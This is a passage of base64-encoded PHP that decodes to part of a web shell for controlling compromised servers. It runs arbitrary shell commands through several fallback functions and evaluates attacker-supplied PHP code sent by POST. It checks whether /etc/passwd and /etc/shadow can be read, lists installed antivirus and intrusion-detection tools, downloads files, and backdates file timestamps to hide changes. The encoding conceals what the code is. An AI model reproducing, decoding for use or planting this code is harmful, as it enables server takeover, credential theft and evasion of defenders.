X2RpcigkZHJpdmUuJzpcXCcpKQoJCQkkZHJpdmVzIC49ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJn KFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7Cgl9 CgkKCWVjaG8gJzx0YWJsZSBjbGFzcz1pbmZvIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3 aWR0aD0xMDAlPjx0cj48dGQgd2lkdGg9MT48c3Bhbj5VbmFtZTo8YnI+VXNlcjo8YnI+UGhwOjxi cj5IZGQ6PGJyPkN3ZDonLigkR0xPQkFMU1snb3MnXSA9PSAnd2luJz8nPGJyPkRyaXZlczonOicn KS4nPC9zcGFuPjwvdGQ+Jy4KCQkgJzx0ZD48bm9icj4nLnN1YnN0cihAcGhwX3VuYW1lKCksIDAs IDEyMCkuJyA8YSBocmVmPSJodHRwOi8vbm9yZWZlcmVyLmRlLz9odHRwOi8vd3d3Lmdvb2dsZS5j b20vc2VhcmNoP3E9Jy51cmxlbmNvZGUoQHBocF91bmFtZSgpKS4nIiB0YXJnZXQ9Il9ibGFuayI+ WyBHb29nbGUgXTwvYT4gPGEgaHJlZj0iJy4kZXhwbGluay4nIiB0YXJnZXQ9X2JsYW5rPlsgRXhw bG9pdC1EQiBdPC9hPjwvbm9icj48YnI+Jy4kdWlkLicgKCAnLiR1c2VyLicgKSA8c3Bhbj5Hcm91 cDo8L3NwYW4+ICcuJGdpZC4nICggJyAuJGdyb3VwLiAnICk8YnI+Jy5AcGhwdmVyc2lvbigpLicg PHNwYW4+U2FmZSBtb2RlOjwvc3Bhbj4gJy4oJEdMT0JBTFNbJ3NhZmVfbW9kZSddPyc8Zm9udCBj b2xvcj1yZWQ+T048L2ZvbnQ+JzonPGZvbnQgY29sb3I9I0ZGREI1Rj48Yj5PRkY8L2I+PC9mb250 PicpLicgPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdQaHBcJyxudWxsLG51bGwsXCdpbmZvXCcpIj5b IHBocGluZm8gXTwvYT4gPHNwYW4+RGF0ZXRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpz JykuJzxicj4nLnZpZXdTaXplKCR0b3RhbFNwYWNlKS4nIDxzcGFuPkZyZWU6PC9zcGFuPiAnLnZp ZXdTaXplKCRmcmVlU3BhY2UpLicgKCcucm91bmQoMTAwLygkdG90YWxTcGFjZS8kZnJlZVNwYWNl KSwyKS4nJSk8YnI+Jy4kY3dkX2xpbmtzLicgJy52aWV3UGVybXNDb2xvcigkR0xPQkFMU1snY3dk J10pLicgPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kR0xPQkFMU1snaG9t ZV9jd2QnXS4nXCcsXCdcJyxcJ1wnLFwnXCcpIj5bIGhvbWUgXTwvYT48YnI+Jy4kZHJpdmVzLic8 L3RkPicuCgkJICc8dGQgd2lkdGg9MSBhbGlnbj1yaWdodD48bm9icj48bGFiZWw+PHNlbGVjdCBv bmNoYW5nZT0iZyhudWxsLG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy52YWx1ZSkiPicuJG9wdF9j aGFyc2V0cy4nPC9zZWxlY3Q+PC9sYWJlbD48YnI+PHNwYW4+U2VydmVyIElQOjwvc3Bhbj48YnI+ Jy5nZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuJzxicj48c3Bhbj5DbGllbnQg SVA6PC9zcGFuPjxicj4nLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLic8L25vYnI+PC90ZD48L3Ry PjwvdGFibGU+Jy4KCQkgJzx0YWJsZSBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojMkU2RTlDOyIg Y2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCU+PHRyPicuJG1lbnUuJzwvdHI+ PC90YWJsZT48ZGl2Pic7Cn0KZnVuY3Rpb24gaGFyZEZvb3RlcigpIHsKCSRpc193cml0YWJsZSA9 IGlzX3dyaXRhYmxlKCRHTE9CQUxTWydjd2QnXSk/IiA8Zm9udCBjb2xvcj0nI0ZGREI1Ric+WyBX cml0ZWFibGUgXTwvZm9udD4iOiIgPGZvbnQgY29sb3I9cmVkPihOb3Qgd3JpdGFibGUpPC9mb250 PiI7CiAgICBlY2hvICIKPC9kaXY+Cjx0YWJsZSBjbGFzcz1pbmZvIGlkPXRvb2xzVGJsIGNlbGxw YWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPgoJPHRyPgoJCTx0ZD48Zm9ybSBvbnN1 Ym1pdD1cIiIuKCBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbkZpbGVzTWFuJyk/ICJnKG51bGwsdGhp cy5jLnZhbHVlLCcnKTsiOicnICkuInJldHVybiBmYWxzZTtcIj48c3Bhbj5DaGFuZ2UgZGlyOjwv c3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0n IiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+PGlucHV0IHR5cGU9c3Vi bWl0IHZhbHVlPSdzdWJtaXQnPjwvZm9ybT48L3RkPgoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD1cIiIu KGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uRmlsZXNUb29scycpPyAiZygnRmlsZXNUb29scycsbnVs bCx0aGlzLmYudmFsdWUpOyI6JycgKS4icmV0dXJuIGZhbHNlO1wiPjxzcGFuPlJlYWQgZmlsZTo8 L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWYgcmVxdWly ZWQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdzdWJtaXQnPjwvZm9ybT48L3RkPgoJPC90cj48 dHI+CgkJPHRkPjxmb3JtIG9uc3VibWl0PVwiIi4oIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uRmls ZXNNYW4nKT8gImcoJ0ZpbGVzTWFuJyxudWxsLCdta2RpcicsdGhpcy5kLnZhbHVlKTsiOicnICku InJldHVybiBmYWxzZTtcIj48c3Bhbj5NYWtlIGRpcjo8L3NwYW4+JGlzX3dyaXRhYmxlPGJyPjxp bnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWQgcmVxdWlyZWQ+PGlucHV0IHR5 cGU9c3VibWl0IHZhbHVlPSdzdWJtaXQnPjwvZm9ybT48L3RkPgoJCTx0ZD48Zm9ybSBvbnN1Ym1p dD1cIiIuKCBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbkZpbGVzVG9vbHMnKT8gImcoJ0ZpbGVzVG9v bHMnLG51bGwsdGhpcy5mLnZhbHVlLCdta2ZpbGUnKTsiOicnICkuInJldHVybiBmYWxzZTtcIj48 c3Bhbj5NYWtlIGZpbGU6PC9zcGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xz SW5wJyB0eXBlPXRleHQgbmFtZT1mIHJlcXVpcmVkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0n c3VibWl0Jz48L2Zvcm0+PC90ZD4KCTwvdHI+PHRyPgoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD1cIiIu KCBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbkNvbnNvbGUnKT8gImcoJ0NvbnNvbGUnLG51bGwsdGhp cy5jLnZhbHVlKTsiOicnICkuInJldHVybiBmYWxzZTtcIj48c3Bhbj5FeGVjdXRlOjwvc3Bhbj48 YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0nJz48aW5w dXQgdHlwZT1zdWJtaXQgdmFsdWU9J3N1Ym1pdCc+PC9mb3JtPjwvdGQ+CgkJPHRkPjxmb3JtIG1l dGhvZD0ncG9zdCcgIi4oICghZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb25GaWxlc01hbicpKT8gIiBv bnN1Ym1pdD1cInJldHVybiBmYWxzZTtcIiAiOicnICkuIkVOQ1RZUEU9J211bHRpcGFydC9mb3Jt LWRhdGEnPgoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTWFuJz4KCQk8 aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xP QkFMU1snY3dkJ10pIC4iJz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ndXBs b2FkRmlsZSc+CgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9bmUgdmFsdWU9Jyc+CgkJPGlucHV0 IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIiAuIChpc3NldCgkX1BPU1RbJ2NoYXJz ZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpIC4gIic+CgkJPHNwYW4+VXBsb2FkIGZpbGU6PC9z cGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPWZpbGUgbmFt ZT1mW10gIG11bHRpcGxlPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nc3VibWl0Jz48L2Zvcm0+ PGJyICA+PC90ZD4KCTwvdHI+PC90YWJsZT48L2Rpdj48L2JvZHk+PC9odG1sPiI7Cn0KaWYgKCFm dW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlz YWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkpIHsgZnVuY3Rpb24g cG9zaXhfZ2V0cHd1aWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9CmlmICghZnVuY3Rpb25fZXhpc3Rz KCJwb3NpeF9nZXRncmdpZCIpICYmIChzdHJwb3MoJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25z J10sICdwb3NpeF9nZXRncmdpZCcpPT09ZmFsc2UpKSB7IGZ1bmN0aW9uIHBvc2l4X2dldGdyZ2lk KCRwKSB7cmV0dXJuIGZhbHNlO30gfQpmdW5jdGlvbiBleCgkaW4pIHsKCSTilpYgPSAnJzsKCWlm IChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewoJCUBleGVjKCRpbiwk4paWKTsKCQkk4paWID0g QGpvaW4oIlxuIiwk4paWKTsKCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykp IHsKCQlvYl9zdGFydCgpOwoJCUBwYXNzdGhydSgkaW4pOwoJCSTilpYgPSBvYl9nZXRfY2xlYW4o KTsKCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7CgkJb2Jfc3RhcnQoKTsK CQlAc3lzdGVtKCRpbik7CgkJJOKWliA9IG9iX2dldF9jbGVhbigpOwoJfSBlbHNlaWYgKGZ1bmN0 aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7CgkJJOKWliA9IHNoZWxsX2V4ZWMoJGluKTsKCX0g ZWxzZWlmIChpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpIHsKCQkk4paWID0gIiI7 CgkJd2hpbGUoIUBmZW9mKCRmKSkKCQkJJOKWliAuPSBmcmVhZCgkZiwxMDI0KTsKCQlwY2xvc2Uo JGYpOwoJfWVsc2UgcmV0dXJuICLihrMgVW5hYmxlIHRvIGV4ZWN1dGUgY29tbWFuZFxuIjsKCXJl dHVybiAoJOKWlj09Jyc/IuKGsyBRdWVyeSBkaWQgbm90IHJldHVybiBhbnl0aGluZ1xuIjok4paW KTsKfQpmdW5jdGlvbiB2aWV3U2l6ZSgkcykgewoJaWYoJHMgPj0gMTA3Mzc0MTgyNCkKCQlyZXR1 cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNzM3NDE4MjQgKS4gJyBHQic7CgllbHNlaWYoJHMg Pj0gMTA0ODU3NikKCQlyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNDg1NzYgKSAuICcg TUInOwoJZWxzZWlmKCRzID49IDEwMjQpCgkJcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAx MDI0ICkgLiAnIEtCJzsKCWVsc2UKCQlyZXR1cm4gJHMgLiAnIEInOwp9CmZ1bmN0aW9uIHBlcm1z KCRwKSB7CglpZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJGkgPSAncyc7CgllbHNlaWYgKCgk cCAmIDB4QTAwMCkgPT0gMHhBMDAwKSRpID0gJ2wnOwoJZWxzZWlmICgoJHAgJiAweDgwMDApID09 IDB4ODAwMCkkaSA9ICctJzsKCWVsc2VpZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJGkgPSAn Yic7CgllbHNlaWYgKCgkcCAmIDB4NDAwMCkgPT0gMHg0MDAwKSRpID0gJ2QnOwoJZWxzZWlmICgo JHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsKCWVsc2VpZiAoKCRwICYgMHgxMDAwKSA9 PSAweDEwMDApJGkgPSAncCc7CgllbHNlICRpID0gJ3UnOwoJJGkgLj0gKCgkcCAmIDB4MDEwMCkg PyAncicgOiAnLScpOwoJJGkgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOwoJJGkgLj0g KCgkcCAmIDB4MDA0MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4 MDgwMCkgPyAnUycgOiAnLScpKTsKCSRpIC49ICgoJHAgJiAweDAwMjApID8gJ3InIDogJy0nKTsK CSRpIC49ICgoJHAgJiAweDAwMTApID8gJ3cnIDogJy0nKTsKCSRpIC49ICgoJHAgJiAweDAwMDgp ID8gKCgkcCAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA0MDApID8gJ1MnIDog Jy0nKSk7CgkkaSAuPSAoKCRwICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7CgkkaSAuPSAoKCRwICYg MHgwMDAyKSA/ICd3JyA6ICctJyk7CgkkaSAuPSAoKCRwICYgMHgwMDAxKSA/ICgoJHAgJiAweDAy MDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOwoJcmV0dXJu ICRpOwp9CmZ1bmN0aW9uIHZpZXdQZXJtc0NvbG9yKCRmKSB7CglpZiAoIUBpc19yZWFkYWJsZSgk ZikpCgkJcmV0dXJuICc8Zm9udCBjb2xvcj0jRkYwMDAwPjxiPicucGVybXMoQGZpbGVwZXJtcygk ZikpLic8L2I+PC9mb250Pic7CgllbHNlaWYgKCFAaXNfd3JpdGFibGUoJGYpKQoJCXJldHVybiAn PGZvbnQgY29sb3I9d2hpdGU+PGI+Jy5wZXJtcyhAZmlsZXBlcm1zKCRmKSkuJzwvYj48L2ZvbnQ+ JzsKCWVsc2UKCQlyZXR1cm4gJzxmb250IGNvbG9yPSNGRkRCNUY+PGI+Jy5wZXJtcyhAZmlsZXBl cm1zKCRmKSkuJzwvYj48L2ZvbnQ+JzsKfQpmdW5jdGlvbiBoYXJkU2NhbmRpcigkZGlyKSB7CiAg ICBpZihmdW5jdGlvbl9leGlzdHMoInNjYW5kaXIiKSkgewogICAgICAgIHJldHVybiBzY2FuZGly KCRkaXIpOwogICAgfSBlbHNlIHsKICAgICAgICAkZGggID0gb3BlbmRpcigkZGlyKTsKICAgICAg ICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRkaCkpKQogICAgICAgICAg ICAkZmlsZXNbXSA9ICRmaWxlbmFtZTsKICAgICAgICByZXR1cm4gJGZpbGVzOwogICAgfQp9CmZ1 bmN0aW9uIHdoaWNoKCRwKSB7CgkkcGF0aCA9IGV4KCd3aGljaCAnIC4gJHApOwoJaWYoIWVtcHR5 KCRwYXRoKSkKCQlyZXR1cm4gJHBhdGg7CglyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gYWN0aW9u UkMoKSB7CglpZighQCRfUE9TVFsncDEnXSkgewoJCSRhID0gYXJyYXkoCgkJCSJ1bmFtZSIgPT4g cGhwX3VuYW1lKCksCgkJCSJwaHBfdmVyc2lvbiIgPT4gcGhwdmVyc2lvbigpLAoJCQkiVkVSU0lP TiIgPT4gVkVSU0lPTiwKCQkJInNhZmVtb2RlIiA9PiBAaW5pX2dldCgnc2FmZV9tb2RlJykKCQkp OwoJCWVjaG8gc2VyaWFsaXplKCRhKTsKCX0gZWxzZSB7CgkJZXZhbCgkX1BPU1RbJ3AxJ10pOwoJ fQp9CmZ1bmN0aW9uIHByb3RvdHlwZSgkaywgJHYpIHsKICAgICRfQ09PS0lFWyRrXSA9ICR2Owog ICAgc2V0Y29va2llKCRrLCAkdik7Cn0KZnVuY3Rpb24gYWN0aW9uU2VjSW5mbygpIHsKCWhhcmRI ZWFkZXIoKTsKCWVjaG8gJzxoMT5TZXJ2ZXIgc2VjdXJpdHkgaW5mb3JtYXRpb248L2gxPjxkaXYg Y2xhc3M9Y29udGVudD4nOwoJZnVuY3Rpb24gc2hvd1NlY1BhcmFtKCRuLCAkdikgewoJCSR2ID0g dHJpbSgkdik7CgkJaWYoJHYpIHsKCQkJZWNobyAnPHNwYW4+JyAuICRuIC4gJzogPC9zcGFuPic7 CgkJCWlmKHN0cnBvcygkdiwgIlxuIikgPT09IGZhbHNlKQoJCQkJZWNobyAkdiAuICc8YnI+JzsK CQkJZWxzZQoJCQkJZWNobyAnPHByZSBjbGFzcz1tbDE+JyAuICR2IC4gJzwvcHJlPic7CgkJfQoJ fQoJc2hvd1NlY1BhcmFtKCdTZXJ2ZXIgc29mdHdhcmUnLCBAZ2V0ZW52KCdTRVJWRVJfU09GVFdB UkUnKSk7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2FwYWNoZV9nZXRfbW9kdWxlcycpKQogICAg ICAgIHNob3dTZWNQYXJhbSgnTG9hZGVkIEFwYWNoZSBtb2R1bGVzJywgaW1wbG9kZSgnLCAnLCBh cGFjaGVfZ2V0X21vZHVsZXMoKSkpOwoJc2hvd1NlY1BhcmFtKCdEaXNhYmxlZCBQSFAgRnVuY3Rp b25zJywgJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10/JEdMT0JBTFNbJ2Rpc2FibGVfZnVu Y3Rpb25zJ106J25vbmUnKTsKCXNob3dTZWNQYXJhbSgnT3BlbiBiYXNlIGRpcicsIEBpbmlfZ2V0 KCdvcGVuX2Jhc2VkaXInKSk7CglzaG93U2VjUGFyYW0oJ1NhZmUgbW9kZSBleGVjIGRpcicsIEBp bmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaXInKSk7CglzaG93U2VjUGFyYW0oJ1NhZmUgbW9kZSBp bmNsdWRlIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKSk7CglzaG93U2Vj UGFyYW0oJ2NVUkwgc3VwcG9ydCcsIGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk/J2Vu YWJsZWQnOidubycpOwoJJHRlbXA9YXJyYXkoKTsKCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxf Z2V0X2NsaWVudF9pbmZvJykpCgkJJHRlbXBbXSA9ICJNeVNxbCAoIi5teXNxbF9nZXRfY2xpZW50 X2luZm8oKS4iKSI7CglpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkKCQkkdGVt cFtdID0gIk1TU1FMIjsKCWlmKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKQoJCSR0ZW1w W10gPSAiUG9zdGdyZVNRTCI7CglpZihmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpCgkJ JHRlbXBbXSA9ICJPcmFjbGUiOwoJc2hvd1NlY1BhcmFtKCdTdXBwb3J0ZWQgZGF0YWJhc2VzJywg aW1wbG9kZSgnLCAnLCAkdGVtcCkpOwoJZWNobyAnPGJyPic7CglpZigkR0xPQkFMU1snb3MnXSA9 PSAnbml4JykgewogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvcGFzc3dk JywgQGlzX3JlYWRhYmxlKCcvZXRjL3Bhc3N3ZCcpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0n ZyhcIkZpbGVzVG9vbHNcIiwgXCIvZXRjL1wiLCBcInBhc3N3ZFwiKSc+W3ZpZXddPC9hPiI6J25v Jyk7CiAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9zaGFkb3cnLCBAaXNf cmVhZGFibGUoJy9ldGMvc2hhZG93Jyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmls ZXNUb29sc1wiLCBcIi9ldGMvXCIsIFwic2hhZG93XCIpJz5bdmlld108L2E+Ijonbm8nKTsKICAg ICAgICAgICAgc2hvd1NlY1BhcmFtKCdPUyB2ZXJzaW9uJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcv cHJvYy92ZXJzaW9uJykpOwogICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0Rpc3RyIG5hbWUnLCBA ZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaXNzdWUubmV0JykpOwogICAgICAgICAgICBpZighJEdM T0JBTFNbJ3NhZmVfbW9kZSddKSB7CiAgICAgICAgICAgICAgICAkdXNlcmZ1bCA9IGFycmF5KCdn Y2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5Jywn dGFyJywnZ3ppcCcsJ2J6aXAnLCdiemlwMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsKICAg ICAgICAgICAgICAgICRkYW5nZXIgPSBhcnJheSgna2F2Jywnbm9kMzInLCdiZGNvcmVkJywndXZz Y2FuJywnc2F2JywnZHJ3ZWJkJywnY2xhbWQnLCdya2h1bnRlcicsJ2Noa3Jvb3RraXQnLCdpcHRh YmxlcycsJ2lwZncnLCd0cmlwd2lyZScsJ3NoaWVsZGNjJywncG9ydHNlbnRyeScsJ3Nub3J0Jywn b3NzZWMnLCdsaWRzYWRtJywndGNwbG9kZycsJ3N4aWQnLCdsb2djaGVjaycsJ2xvZ3dhdGNoJywn c3lzbWFzaycsJ3ptYnNjYXAnLCdzYXdtaWxsJywnd29ybXNjYW4nLCduaW5qYScpOwogICAgICAg ICAgICAgICAgJGRvd25sb2FkZXJzID0gYXJyYXkoJ3dnZXQnLCdmZXRjaCcsJ2x5bngnLCdsaW5r cycsJ2N1cmwnLCdnZXQnLCdsd3AtbWlycm9yJyk7CiAgICAgICAgICAgICAgICBlY2hvICc8YnI+ JzsKICAgICAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7CiAgICAgICAgICAgICAgICBmb3JlYWNo ICgkdXNlcmZ1bCBhcyAk4pafKQogICAgICAgICAgICAgICAgICAgIGlmKHdoaWNoKCTilp8pKQog ICAgICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJOKWnzsKICAgICAgICAgICAgICAgIHNo b3dTZWNQYXJhbSgnVXNlcmZ1bCcsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICAg ICAgJHRlbXA9YXJyYXkoKTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRkYW5nZXIgYXMgJOKW nykKICAgICAgICAgICAgICAgICAgICBpZih3aGljaCgk4pafKSkKICAgICAgICAgICAgICAgICAg ICAgICAgJHRlbXBbXSA9ICTilp87CiAgICAgICAgICAgICAgICBzaG93U2VjUGFyYW0oJ0Rhbmdl cicsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICAgICAgJHRlbXA9YXJyYXkoKTsK ICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRkb3dubG9hZGVycyBhcyAk4pafKQogICAgICAgICAg ICAgICAgICAgIGlmKHdoaWNoKCTilp8pKQogICAgICAgICAgICAgICAgICAgICAgICAkdGVtcFtd ID0gJOKWnzsKICAgICAgICAgICAgICAgIHNob3dTZWNQYXJhbSgnRG93bmxvYWRlcnMnLCBpbXBs b2RlKCcsICcsJHRlbXApKTsKICAgICAgICAgICAgICAgIGVjaG8gJzxici8+JzsKICAgICAgICAg ICAgICAgIHNob3dTZWNQYXJhbSgnSEREIHNwYWNlJywgZXgoJ2RmIC1oJykpOwogICAgICAgICAg ICAgICAgc2hvd1NlY1BhcmFtKCdIb3N0cycsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9ob3N0 cycpKTsKCQkJCXNob3dTZWNQYXJhbSgnTW91bnQgb3B0aW9ucycsIEBmaWxlX2dldF9jb250ZW50 cygnL2V0Yy9mc3RhYicpKTsKICAgICAgICAgICAgfQoJfSBlbHNlIHsKCQlzaG93U2VjUGFyYW0o J09TIFZlcnNpb24nLGV4KCd2ZXInKSk7CgkJc2hvd1NlY1BhcmFtKCdBY2NvdW50IFNldHRpbmdz JywgaWNvbnYoJ0NQODY2JywgJ1VURi04JyxleCgnbmV0IGFjY291bnRzJykpKTsKCQlzaG93U2Vj UGFyYW0oJ1VzZXIgQWNjb3VudHMnLCBpY29udignQ1A4NjYnLCAnVVRGLTgnLGV4KCduZXQgdXNl cicpKSk7Cgl9CgllY2hvICc8L2Rpdj4nOwoJaGFyZEZvb3RlcigpOwp9CmZ1bmN0aW9uIGFjdGlv bkZpbGVzVG9vbHMoKSB7CglpZiggaXNzZXQoJF9QT1NUWydwMSddKSApCgkJJF9QT1NUWydwMSdd ID0gdXJsZGVjb2RlKCRfUE9TVFsncDEnXSk7CglpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQn KSB7CgkJaWYoQGlzX2ZpbGUoJF9QT1NUWydwMSddKSAmJiBAaXNfcmVhZGFibGUoJF9QT1NUWydw MSddKSkgewoJCQlvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7CgkJCWhlYWRlcigiQ29u dGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ii5iYXNlbmFtZSgkX1BPU1Rb J3AxJ10pKTsKCQkJaWYgKGZ1bmN0aW9uX2V4aXN0cygibWltZV9jb250ZW50X3R5cGUiKSkgewoJ CQkJJHR5cGUgPSBAbWltZV9jb250ZW50X3R5cGUoJF9QT1NUWydwMSddKTsKCQkJCWhlYWRlcigi Q29udGVudC1UeXBlOiAiIC4gJHR5cGUpOwoJCQl9IGVsc2UKICAgICAgICAgICAgICAgIGhlYWRl cigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsKCQkJJGZwID0gQGZv cGVuKCRfUE9TVFsncDEnXSwgInIiKTsKCQkJaWYoJGZwKSB7CgkJCQl3aGlsZSghQGZlb2YoJGZw KSkKCQkJCQllY2hvIEBmcmVhZCgkZnAsIDEwMjQpOwoJCQkJZmNsb3NlKCRmcCk7CgkJCX0KCQl9 ZXhpdDsKCX0KCWlmKCBAJF9QT1NUWydwMiddID09ICdta2ZpbGUnICkgewoJCWlmKCFmaWxlX2V4 aXN0cygkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgICAgICRkaXJuYW1lID0gQGRpcm5hbWUoJF9Q T1NUWydwMSddKTsKICAgICAgICAgICAgJGRpcnRpbWUgPSBAZmlsZW10aW1lKCRkaXJuYW1lKTsK CQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3cnKTsKCQkJaWYoJGZwKSB7CiAgICAgICAg ICAgICAgICBAdG91Y2goJF9QT1NUWydwMSddLCAkZGlydGltZSwgJGRpcnRpbWUpOwogICAgICAg ICAgICAgICAgQHRvdWNoKCRkaXJuYW1lLCAkZGlydGltZSwgJGRpcnRpbWUpOwoJCQkJJF9QT1NU WydwMiddID0gImVkaXQiOwoJCQkJZmNsb3NlKCRmcCk7CgkJCX0KCQl9Cgl9CgloYXJkSGVhZGVy KCk7CgllY2hvICc8aDE+RmlsZSB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CglpZigg IWZpbGVfZXhpc3RzKEAkX1BPU1RbJ3AxJ10pICkgewoJCWVjaG8gJ0ZpbGUgbm90IGV4aXN0cyc7 CgkJaGFyZEZvb3RlcigpOwoJCXJldHVybjsKCX0KCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQGZp bGVvd25lcigkX1BPU1RbJ3AxJ10pKTsKCWlmKCEkdWlkKSB7CgkJJHVpZFsnbmFtZSddID0gQGZp bGVvd25lcigkX1BPU1RbJ3AxJ10pOwoJCSRnaWRbJ25hbWUnXSA9IEBmaWxlZ3JvdXAoJF9QT1NU WydwMSddKTsKCX0gZWxzZSAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJF9QT1NU WydwMSddKSk7CgllY2hvICc8c3Bhbj5OYW1lOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKEBi YXNlbmFtZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPlNpemU6PC9zcGFuPiAnLihpc19maWxlKCRf 